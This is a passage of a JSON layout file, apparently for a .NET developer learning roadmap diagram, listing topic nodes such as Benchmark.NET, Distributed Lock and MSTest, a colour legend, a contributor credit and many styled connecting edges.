\"subtopic\",\n      \"position\": {\n        \"x\": 44.10695532015461,\n        \"y\": 3015.2129376580287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Benchmark.NET\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"T2FsSndxzSuKTFdjoyPi-\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.10695532015461,\n        \"y\": 3015.2129376580287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T2FsSndxzSuKTFdjoyPi-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.10695532015461,\n        \"y\": 3069.2129376580287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Distributed Lock\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EsC1JwFOMOlQVelpmxISh\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.10695532015461,\n        \"y\": 3069.2129376580287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Gc82P2ClaRuPMM1N6k2bN\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 262.57187640085726,\n        \"y\": 2873.7129376580287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 63,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 63,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 262.57187640085726,\n        \"y\": 2873.7129376580287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 63,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"wyzDVcQ87PRh0y2LIfvSU\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 433.5766878818748,\n        \"y\": 2926.548245909759\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 80,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 80\n      },\n      \"positionAbsolute\": {\n        \"x\": 433.5766878818748,\n        \"y\": 2926.548245909759\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 80\n      }\n    },\n    {\n      \"id\": \"q2z_1wnPUnWM7MYIIUyBg\",\n      \"type\": \"legend\",\n      \"position\": {\n        \"x\": -279.20291471146976,\n        \"y\": -129.55580566097228\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"legends\": [\n          {\n            \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n            \"color\": \"#2b78e4\",\n            \"label\": \"Personal Recommendation / Opinion\"\n          },\n          {\n            \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n            \"label\": \"Alternative Options\",\n            \"color\": \"#6d7500\"\n          },\n          {\n            \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n            \"label\": \"Optional / Learn anytime\",\n            \"color\": \"#999999\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 130,\n      \"positionAbsolute\": {\n        \"x\": -279.20291471146976,\n        \"y\": -129.55580566097228\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 352,\n        \"height\": 130\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 352,\n        \"height\": 130\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -278.429978402122,\n        \"y\": 55.94269326868894\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Moien Tajik\",\n        \"href\": \"https://github.com/MoienTajik\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#d1d1d1\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#D1D1D1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 352,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -278.429978402122,\n        \"y\": 55.94269326868894\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 352,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"azsxJoFI1qHGwcNGw8c28\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -280.929978402122,\n        \"y\": 14.90074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Special thanks for the roadmap contribution\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -280.929978402122,\n        \"y\": 14.90074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 352,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"236VJJjMvqHfSj-MHSDPV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 516.9641965658323,\n        \"y\": 2095.5613753534185\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MSTest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qHYBlBCvCGUZGh6gyEI63\",\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 516.9641965658323,\n        \"y\": 2095.5613753534185\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"t3Op8UcgDKVeMLNMDePrW\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Ji35JsKgUQXN4DJGEgTACx2-t3Op8UcgDKVeMLNMDePrWw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"c2YZ7PPCX1jF_RU7C0AqN\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Ji35JsKgUQXN4DJGEgTACx2-c2YZ7PPCX1jF_RU7C0AqNw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DYkdM_L7T2GcTPAoZNnUR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DYkdM_L7T2GcTPAoZNnURx2-0vLaVNJaJSHZ_bHli6Qzsz1\",\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NvODRFR0DLINB0RlPSsvt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fxANnSiTb2VzA9u-YeBL1\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NvODRFR0DLINB0RlPSsvtz2-fxANnSiTb2VzA9u-YeBL1y2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NvODRFR0DLINB0RlPSsvt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3GGvuxdfuDwLpNX_gtjCK\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NvODRFR0DLINB0RlPSsvtz2-3GGvuxdfuDwLpNX_gtjCKy2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NEnna_8DstfYH4T9qrP3-\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"OtdCmkj0SvrGwCUSfm96C\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NEnna_8DstfYH4T9qrP3-y2-OtdCmkj0SvrGwCUSfm96Cz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NEnna_8DstfYH4T9qrP3-\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KAZF-mIg-FlfMonfdOLhb\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NEnna_8DstfYH4T9qrP3-y2-KAZF-mIg-FlfMonfdOLhbz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NEnna_8DstfYH4T9qrP3-\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"YI3cAezupWNntFw4B6elY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NEnna_8DstfYH4T9qrP3-y2-YI3cAezupWNntFw4B6elYz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NEnna_8DstfYH4T9qrP3-\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"RAX2xN37taw9cqA3pnORh\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NEnna_8DstfYH4T9qrP3-y2-RAX2xN37taw9cqA3pnORhz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NEnna_8DstfYH4T9qrP3-\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"tnKUdsgp6bnFtQTexEmfy\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-NEnna_8DstfYH4T9qrP3-x2-tnKUdsgp6bnFtQTexEmfyw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tnKUdsgp6bnFtQTexEmfy\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"aOJMVrTcA_I2y_QHzj7aM\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tnKUdsgp6bnFtQTexEmfyz2-aOJMVrTcA_I2y_QHzj7aMy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tnKUdsgp6bnFtQTexEmfy\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"zlAcgLKxGF_TyrcJIk4X7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tnKUdsgp6bnFtQTexEmfyz2-zlAcgLKxGF_TyrcJIk4X7y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tnKUdsgp6bnFtQTexEmfy\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ZiK-c9zNbi5RZkKUi44wP\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tnKUdsgp6bnFtQTexEmfyz2-ZiK-c9zNbi5RZkKUi44wPy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tnKUdsgp6bnFtQTexEmfy\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1-XdtrGPbUoxpu9ZcQlBA\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tnKUdsgp6bnFtQTexEmfyz2-1-XdtrGPbUoxpu9ZcQlBAy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tnKUdsgp6bnFtQTexEmfy\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2f_CJMnXwPxjMEwm5P_QJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tnKUdsgp6bnFtQTexEmfyz2-2f_CJMnXwPxjMEwm5P_QJy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tnKUdsgp6bnFtQTexEmfy\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"v2ZTCQQFQPoJNhOVGMG2g\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-tnKUdsgp6bnFtQTexEmfyy2-v2ZTCQQFQPoJNhOVGMG2gz1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NvODRFR0DLINB0RlPSsvt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"R7Qk5hsEIl9dspQXdaJAJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NvODRFR0DLINB0RlPSsvtz2-R7Qk5hsEIl9dspQXdaJAJy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"v2ZTCQQFQPoJNhOVGMG2g\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"POQPoN98eqOH2873ZI6Hm\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-v2ZTCQQFQPoJNhOVGMG2gz2-POQPoN98eqOH2873ZI6Hmy1\",\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IejHMMVKwA0sIInla4FjX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Tjaczp2E-cCn0qSv89xgo\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-7Nth4LOrM_KirhvjDGkgSz2-Tjaczp2E-cCn0qSv89xgoy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7Nth4LOrM_KirhvjDGkgS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"FV4GsPjUyAc99DnIwkkCC\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7Nth4LOrM_KirhvjDGkgSy2-FV4GsPjUyAc99DnIwkkCCz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 